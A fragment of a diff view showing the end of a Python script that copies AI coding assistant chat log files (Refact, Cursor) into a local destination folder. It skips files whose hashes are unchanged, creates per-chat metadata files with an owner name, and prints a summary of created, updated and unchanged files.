dest_dir = pathlib.Path(args.dest).expanduser().resolve()
|
|
140
|
+
owner = (
|
|
141
|
+
args.owner
|
|
142
|
+
or os_env("REFACT_CHAT_OWNER")
|
|
143
|
+
or os_env("CURSOR_CHAT_OWNER")
|
|
144
|
+
or os_env("USER")
|
|
145
|
+
or "unknown-owner"
|
|
146
|
+
).strip()
|
|
147
|
+
|
|
148
|
+
if not args.dry_run:
|
|
149
|
+
dest_dir.mkdir(parents=True, exist_ok=True)
|
|
150
|
+
|
|
151
|
+
created = updated = skipped = meta_created = total_files = 0
|
|
152
|
+
|
|
153
|
+
for source_dir, tool in sources:
|
|
154
|
+
chat_files = list(_iter_chat_files(source_dir))
|
|
155
|
+
total_files += len(chat_files)
|
|
156
|
+
for source_file in chat_files:
|
|
157
|
+
dest_file = dest_dir / source_file.name
|
|
158
|
+
existed_before = dest_file.exists()
|
|
159
|
+
should_copy = not (existed_before and _sha256(source_file) == _sha256(dest_file))
|
|
160
|
+
|
|
161
|
+
if should_copy:
|
|
162
|
+
if args.dry_run:
|
|
163
|
+
print(f"[{'UPDATE' if existed_before else 'CREATE'}] {dest_file}")
|
|
164
|
+
else:
|
|
165
|
+
shutil.copy2(source_file, dest_file)
|
|
166
|
+
if existed_before:
|
|
167
|
+
updated += 1
|
|
168
|
+
else:
|
|
169
|
+
created += 1
|
|
170
|
+
else:
|
|
171
|
+
skipped += 1
|
|
172
|
+
|
|
173
|
+
chat_id = source_file.stem
|
|
174
|
+
meta_path = dest_dir / f"{chat_id}.meta.json"
|
|
175
|
+
if not meta_path.exists():
|
|
176
|
+
if args.dry_run:
|
|
177
|
+
print(f"[CREATE] {meta_path}")
|
|
178
|
+
else:
|
|
179
|
+
_ensure_meta(meta_path, chat_id, owner, source_dir, tool)
|
|
180
|
+
meta_created += 1
|
|
181
|
+
|
|
182
|
+
sources_desc = ", ".join(f"{label}:{src}" for src, label in sources) or "(none)"
|
|
183
|
+
print(
|
|
184
|
+
f"Sources: {sources_desc}\n"
|
|
185
|
+
f"Destination: {dest_dir}\n"
|
|
186
|
+
f"Chats scanned: {total_files}\n"
|
|
187
|
+
f"Created: {created}\n"
|
|
188
|
+
f"Updated: {updated}\n"
|
|
189
|
+
f"Unchanged: {skipped}\n"
|
|
190
|
+
f"Meta created: {meta_created}"
|
|
191
|
+
)
|
|
192
|
+
return 0
|
|
193
|
+
|
|
194
|
+
|
|
195
|
+
if __name__ == "__main__":
|
|
196
|
+
raise SystemExit(main())
|